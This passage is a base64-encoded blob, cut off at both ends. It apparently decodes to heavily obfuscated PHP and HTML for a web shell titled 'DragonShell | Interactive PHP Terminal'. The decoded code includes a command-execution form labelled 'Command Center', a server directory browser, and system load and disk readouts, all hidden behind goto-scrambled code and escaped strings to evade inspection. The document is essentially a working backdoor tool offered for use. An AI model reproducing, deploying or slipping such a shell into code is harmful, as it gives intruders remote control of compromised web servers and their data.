Hg2Ylw3NVw0MlwxNDNcMTUwXHg2MVx4NmVcMTQ3XDE0NVx4NDRceDY5XDE2Mlx4MjhcNDciIC4gaHRtbHNwZWNpYWxjaGFycygkcGF0aF9hY2N1bSkgLiAiXHgyN1x4MjlceDIyXDc2IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHBhcnQpIC4gIlw3NFx4MmZcMTQxXHgzZSI7IH0gZ290byB3dDhwUTsgWEx5MEo6ICRjdXJyZW50X3VzZXIgPSBnZXRfY3VycmVudF91c2VyKCk7IGdvdG8gQk1Wd0o7IFhibHY4OiBEODBZXzogZ290byBXQVRnQTsgRFN5TDE6IGdvdG8gU0s3WGg7IGdvdG8gT09iZ3I7IHV6Q2ZYOiBtUExnTzogZ290byBDTlJFajsgWWVrMjY6IGdvdG8gelQwT3o7IGdvdG8gaE1nTVQ7IGl1aUhPOiBoSVlLbzogZ290byBnUWNWdzsgWWdNMW86IE9zNjNYOiBnb3RvIGljeFU0OyBpVzJacTogQ1lRS1k6IGdvdG8geWNFZEU7IHdfVklsOiA/PgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz0iaGFuZGxlRGlyQ2hhbmdlKCkiPjxpIGNsYXNzPSJmYXMgZmEtc3luYy1hbHQiPjwvaT4gUmVmcmVzaDwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRpcmVjdG9yeS1ncmlkIiBpZD0iZGlyZWN0b3J5R3JpZCI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgIGdvdG8gZUVvY2o7IEtscWJmOiAkY3B1X2xvYWQgPSBzeXNfZ2V0bG9hZGF2ZygpOyBnb3RvIHdjQ2VIOyBYNnlkVjogQmpkZzQ6IGdvdG8gSkdIU2g7IFVmVkwxOiBnb3RvIHFIeXJQOyBnb3RvIGI3WlJQOyBGSVVXcDogdXY3bGo6IGdvdG8gaHpkb1I7IE92UzhPOiBnb3RvIHR4YmpXOyBnb3RvIG9NMVNYOyBiRWxTVTogZ290byBXVTg1dDsgZ290byBqMnY2ZjsgRnUyd0k6IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkd29ya19kaXIpOyBnb3RvIEhudWRtOyBUckZKZTogV3dkU0k6IGdvdG8gZEZhSUo7IHVsbXpMOiBYbGZkWjogZ290byBSN3EzRjsgR2RLQnQ6IGdvdG8gYjV6Ylg7IGdvdG8gbHdUMmo7IGVjWkN0OiBnb3RvIG9sSWwzOyBnb3RvIHdFcEJpOyBHZFAyUzogaERGUTU6IGdvdG8gazdfTWU7IGVfX0hJOiBaUlVsRjogZ290byBBSGxRcjsgT1k0NXQ6IGdvdG8gYXVId247IGdvdG8gR2RQMlM7IGdyZVZhOiBnb3RvIGNfSFl1OyBnb3RvIFRyRkplOyBSM2Z0RDogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIEFVaGtfOyBKR0hTaDogPz4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPgogICAgICAgICAgICAgICAgPGgyIGNsYXNzPSJjYXJkLXRpdGxlIj48aSBjbGFzcz0iZmFzIGZhLXRlcm1pbmFsIj48L2k+IENvbW1hbmQgQ2VudGVyPC9oMj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImNvbW1hbmRGb3JtIiBtZXRob2Q9ImdldCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0id29ya19kaXIiIGlkPSJ3b3JrRGlySW5wdXQiIHZhbHVlPSI8P3BocCAgZ290byBia2JuODsgY1JqbW06IGdvdG8gSkJZZDU7IGdvdG8gZnN4MjY7IG1YSWh4OiBtdkg2WTogZ290byBtMFdfWDsgTHJpSXk6ICRpdGVtcyA9IHNjYW5kaXIoJHdvcmtfZGlyKTsgZ290byB1MFVkYTsgak52emk6IGdvdG8gSVRWR087IGdvdG8gQ0YyOFE7IFZPaUhUOiBlQW5qczogZ290byBDel9FcjsgWWlSRXE6IGVjaG8gcm91bmQoJGRpc2tfdG90YWwgLyAxMDI0IC8gMTAyNCAvIDEwMjQsIDIpOyBnb3RvIFdzZzdQOyBQekpaQjogZGVmaW5lKCJcMTIwXHg0OFx4NTBcMTIzXHg0OFx4NDVceDRjXDExNFwxMzdcMTI2XDEwNVx4NTJceDUzXDExMVwxMTdceDRlIiwgIlx4NDRceDcyXDE0MVx4NjdcMTU3XHg2ZVx4NTNceDY4XDE0NVwxNTRceDZjXDQwXDE2Nlw2M1x4MmVceDMwIik7IGdvdG8gdjFiS3I7IG5Ud1dPOiBnb3RvIG5yTU9OOyBnb3RvIEdkcDNSOyBmc3gyNjogSExNNjQ6IGdvdG8geFpXM1Q7IEM2S0tIOiBnb3RvIEphZDdjOyBnb3RvIE1kcUJZOyBramFOdDogZ290byBZaFloSzsgZ290byBTNUJWaTsgWXN1b2U6IHN3czNiOiBnb3RvIGhQMXNFOyBDYU1aYzogPz4KCjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkRyYWdvblNoZWxsIHwgSW50ZXJhY3RpdmUgUEhQIFRlcm1pbmFsPC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvZm9udC1hd2Vzb21lLzYuNC4wL2Nzcy9hbGwubWluLmNzcyI+CiAgICA8c3R5bGU+CiAgICAgICAgOnJvb3QgewogICAgICAgICAgICAtLXByaW1hcnk6ICM4YTJiZTI7CiAgICAgICAgICAgIC0tc2Vjb25kYXJ5OiAjMDBmZmZmOwogICAgICAgICAgICAtLWRhcms6ICMwYTBhMGE7CiAgICAgICAgICAgIC0tZGFya2VyOiAjMDUwNTA1OwogICAgICAgICAgICAtLWxpZ2h0OiAjZjBmMGYwOwogICAgICAgICAgICAtLWdyYXk6ICMyZDJkMmQ7CiAgICAgICAgICAgIC0tc3VjY2VzczogIzAwYzg1MzsKICAgICAgICAgICAgLS1kYW5nZXI6ICNmZjE3NDQ7CiAgICAgICAgICAgIC0td2FybmluZzogI2ZmOTgwMDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgKiB7CiAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgcGFkZGluZzogMDsKICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdTZWdvZSBVSScsIFRhaG9tYSwgR2VuZXZhLCBWZXJkYW5hLCBzYW5zLXNlcmlmOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBib2R5IHsKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgdmFyKC0tZGFya2VyKSwgdmFyKC0tZGFyaykpOwogICAgICAgICAgICBjb2xvcjogdmFyKC0tbGlnaHQpOwogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICBvdmVyZmxvdy14OiBoaWRkZW47CiAgICAgICAgICAgIGJhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGJvZHk6OmJlZm9yZSB7CiAgICAgICAgICAgIGNvbnRlbnQ6ICIiOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICAgICAgYmFja2dyb3VuZDogCiAgICAgICAgICAgICAgICByYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDEwJSAyMCUsIHJnYmEoMTM4LCA0MywgMjI2LCAwLjEpIDAlLCB0cmFuc3BhcmVudCAyMCUpLAogICAgICAgICAgICAgICAgcmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCA5MCUgODAlLCByZ2JhKDAsIDI1NSwgMjU1LCAwLjEpIDAlLCB0cmFuc3BhcmVudCAyMCUpOwogICAgICAgICAgICB6LWluZGV4OiAtMTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm1hdHJpeC1iZyB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgdG9wOiAwOwogICAgICAgICAgICBsZWZ0OiAwOwogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICB6LWluZGV4OiAtMjsKICAgICAgICAgICAgb3BhY2l0eTogMC4xOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuY29udGFpbmVyIHsKICAgICAgICAgICAgbWF4LXdpZHRoOiAxNDAwcHg7CiAgICAgICAgICAgIG1hcmdpbjogMCBhdXRvOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBoZWFkZXIgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHggMDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubG9nbyB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMy41cmVtOwogICAgICAgICAgICBmb250LXdlaWdodDogODAwOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIHZhcigtLXNlY29uZGFyeSksIHZhcigtLXByaW1hcnkpKTsKICAgICAgICAgICAgLXdlYmtpdC1iYWNrZ3JvdW5kLWNsaXA6IHRleHQ7CiAgICAgICAgICAgIGJhY2tncm91bmQtY2xpcDogdGV4dDsKICAgICAgICAgICAgY29sb3I6IHRyYW5zcGFyZW50OwogICAgICAgICAgICB0ZXh0LXNoYWRvdzogMCAwIDE1cHggcmdiYSgxMzgsIDQzLCAyMjYsIDAuNSk7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAzcHg7CiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubG9nbzo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiXyI7CiAgICAgICAgICAgIGFuaW1hdGlvbjogYmxpbmsgMXMgaW5maW5pdGU7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgcmlnaHQ6IC0yMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICBAa2V5ZnJhbWVzIGJsaW5rIHsKICAgICAgICAgICAgMCUsIDEwMCUgeyBvcGFjaXR5OiAxOyB9CiAgICAgICAgICAgIDUwJSB7IG9wYWNpdHk6IDA7IH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnN1YnRpdGxlIHsKICAgICAgICAgICAgY29sb3I6IHZhcigtLXNlY29uZGFyeSk7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zcmVtOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyMHB4OwogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogMnB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZ3JpZC1jb250YWluZXIgewogICAgICAgICAgICBkaXNwbGF5OiBncmlkOwogICAgICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmciAxZnI7CiAgICAgICAgICAgIGdhcDogMjBweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMzBweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDk5MnB4KSB7CiAgICAgICAgICAgIC5ncmlkLWNvbnRhaW5lciB7CiAgICAgICAgICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAuY2FyZCB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMjAsIDIwLCAyMCwgMC44KTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweDsKICAgICAgICAgICAgcGFkZGluZzogMjVweDsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLCAwLCAwLCAwLjUpOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDEzOCwgNDMsIDIyNiwgMC4zKTsKICAgICAgICAgICAgYmFja2Ryb3AtZmlsdGVyOiBibHVyKDEwcHgpOwogICAgICAgICAgICBoZWlnaHQ6IGZpdC1jb250ZW50OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuY2FyZC1mdWxsIHsKICAgICAgICAgICAgZ3JpZC1jb2x1bW46IDEgLyAtMTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmNhcmQtdGl0bGUgewogICAgICAgICAgICBjb2xvcjogdmFyKC0tc2Vjb25kYXJ5KTsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgICAgICBmb250LXNpemU6IDEuNXJlbTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmNhcmQtdGl0bGUgaSB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS41cmVtOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc2VydmVyLW5hdmlnYXRpb24gewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBnYXA6IDE1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7CiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnNlcnZlci1zZWxlY3QgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBnYXA6IDEwcHg7CiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnNlcnZlci1idXR0b25zIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5zZXJ2ZXItYnRuIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCB2YXIoLS1wcmltYXJ5KSwgIzVkMWE5Yik7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zczsKICAgICAgICAgICAgZm9udC1zaXplOiAwLjlyZW07CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5zZXJ2ZXItYnRuOmhvdmVyIHsKICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0ycHgpOwogICAgICAgICAgICBib3gtc2hhZG93OiAwIDVweCAxNXB4IHJnYmEoMTM4LCA0MywgMjI2LCAwLjQpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc2VydmVyLWJ0bi5hY3RpdmUgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIHZhcigtLXNlY29uZGFyeSksICMwMDhiOGIpOwogICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMTVweCByZ2JhKDAsIDI1NSwgMjU1LCAwLjUpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAucGF0aC1jb250YWluZXIgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBnYXA6IDE1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7CiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmN1cnJlbnQtcGF0aCB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLWdyYXkpOwogICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgZmxleC1ncm93OiAxOwogICAgICAgICAgICBtaW4td2lkdGg6IDMwMHB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDEzOCwgNDMsIDIyNiwgMC4zKTsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdDb3VyaWVyIE5ldycsIG1vbm9zcGFjZTsKICAgICAgICAgICAgb3ZlcmZsb3cteDogYXV0bzsKICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmJyZWFkY3J1bWIgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7CiAgICAgICAgICAgIGdhcDogNXB4OwogICAgICAgICAgICBtYXJnaW4tdG9wOiAxMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuYnJlYWRjcnVtYiBhIHsKICAgICAgICAgICAgY29sb3I6IHZhcigtLXNlY29uZGFyeSk7CiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICAgICAgcGFkZGluZzogNXB4IDEwcHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3M7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMC45cmVtOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuYnJlYWRjcnVtYiBhOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgxMzgsIDQzLCAyMjYsIDAuMyk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5kaXJlY3RvcnktZ3JpZCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGdyaWQ7CiAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KGF1dG8tZmlsbCwgbWlubWF4KDIwMHB4LCAxZnIpKTsKICAgICAgICAgICAgZ2FwOiAxNXB4OwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZGlyZWN0b3J5LWl0ZW0gewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDQ1LCA0NSwgNDUsIDAuNyk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmRpcmVjdG9yeS1pdGVtOmhvdmVyIHsKICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01cHgpOwogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXNlY29uZGFyeSk7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgNXB4IDE1cHggcmdiYSgwLCAyNTUsIDI1NSwgMC4yKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmRpcmVjdG9yeS1pdGVtLmZvbGRlciB7CiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1zZWNvbmRhcnkpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZGlyZWN0b3J5LWl0ZW0uZmlsZSB7CiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13YXJuaW5nKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmRpcmVjdG9yeS1pdGVtIGkgewogICAgICAgICAgICBmb250LXNpemU6IDJyZW07CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZGlyZWN0b3J5LWl0ZW0gLm5hbWUgewogICAgICAgICAgICBmb250LXNpemU6IDAuOXJlbTsKICAgICAgICAgICAgd29yZC1icmVhazogYnJlYWstYWxsOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZGlyZWN0b3J5LXNlbGVjdCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGdhcDogMTBweDsKICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICBzZWxlY3QsIGlucHV0LCBidXR0b24gewogICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1ncmF5KTsKICAgICAgICAgICAgY29sb3I6IHZhcigtLWxpZ2h0KTsKICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOwogICAgICAgICAgICBvdXRsaW5lOiBub25lOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBzZWxlY3QgewogICAgICAgICAgICBmbGV4LWdyb3c6IDE7CiAgICAgICAgICAgIG1pbi13aWR0aDogMzAwcHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMTM4LCA0MywgMjI2LCAwLjMpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0gewogICAgICAgICAgICBmbGV4LWdyb3c6IDE7CiAgICAgICAgICAgIG1pbi13aWR0aDogMzAwcHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwgMjU1LCAyNTUsIDAuMyk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGJ1dHRvbiB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byByaWdodCwgdmFyKC0tcHJpbWFyeSksICM1ZDFhOWIpOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDEzOCwgNDMsIDIyNiwgMC41KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgYnV0dG9uOmhvdmVyIHsKICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0ycHgpOwogICAgICAgICAgICBib3gtc2hhZG93OiAwIDVweCAxNXB4IHJnYmEoMTM4LCA0MywgMjI2LCAwLjQpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuY29tbWFuZC1zZWN0aW9uIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiAxMHB4OwogICAgICAgICAgICBmbGV4LXdyYXA6IHdyYXA7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5vdXRwdXQtY29udGFpbmVyIHsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICB0ZXh0YXJlYSB7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBtaW4taGVpZ2h0OiAzMDBweDsKICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tZGFya2VyKTsKICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOwogICAgICAgICAgICBwYWRkaW5nOiAyMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwgMjU1LCAyNTUsIDAuMik7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBtb25vc3BhY2U7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsKICAgICAgICAgICAgcmVzaXplOiB2ZXJ0aWNhbDsKICAgICAgICAgICAgd2hpdGUtc3BhY2U6IHByZTsKICAgICAgICAgICAgb3ZlcmZsb3ctd3JhcDogbm9ybWFsOwogICAgICAgICAgICBvdmVyZmxvdy14OiBhdXRvOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAudGVybWluYWwtaGVhZGVyIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuY29udHJvbHMgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBnYXA6IDEwcHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5idG4tc21hbGwgewogICAgICAgICAgICBwYWRkaW5nOiA1cHggMTBweDsKICAgICAgICAgICAgZm9udC1zaXplOiAwLjlyZW07CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZvb3RlciB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgY29sb3I6ICM2NjY7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMC45cmVtOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAucHVsc2UgewogICAgICAgICAgICBhbmltYXRpb246IHB1bHNlIDJzIGluZmluaXRlOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBAa2V5ZnJhbWVzIHB1bHNlIHsKICAgICAgICAgICAgMCUgeyBvcGFjaXR5OiAwLjc7IH0KICAgICAgICAgICAgNTAlIHsgb3BhY2l0eTogMTsgfQogICAgICAgICAgICAxMDAlIHsgb3BhY2l0eTogMC43OyB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5nbG93IHsKICAgICAgICAgICAgdGV4dC1zaGFkb3c6IDAgMCAxMHB4IHZhcigtLXNlY29uZGFyeSksIDAgMCAyMHB4IHZhcigtLXByaW1hcnkpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc2NhbmxpbmUgewogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5zY2FubGluZTo6YmVmb3JlIHsKICAgICAgICAgICAgY29udGVudDogIiI7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdodDogMnB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsIDI1NSwgMjU1LCAwLjMpOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIGFuaW1hdGlvbjogc2NhbiA1cyBsaW5lYXIgaW5maW5pdGU7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIEBrZXlm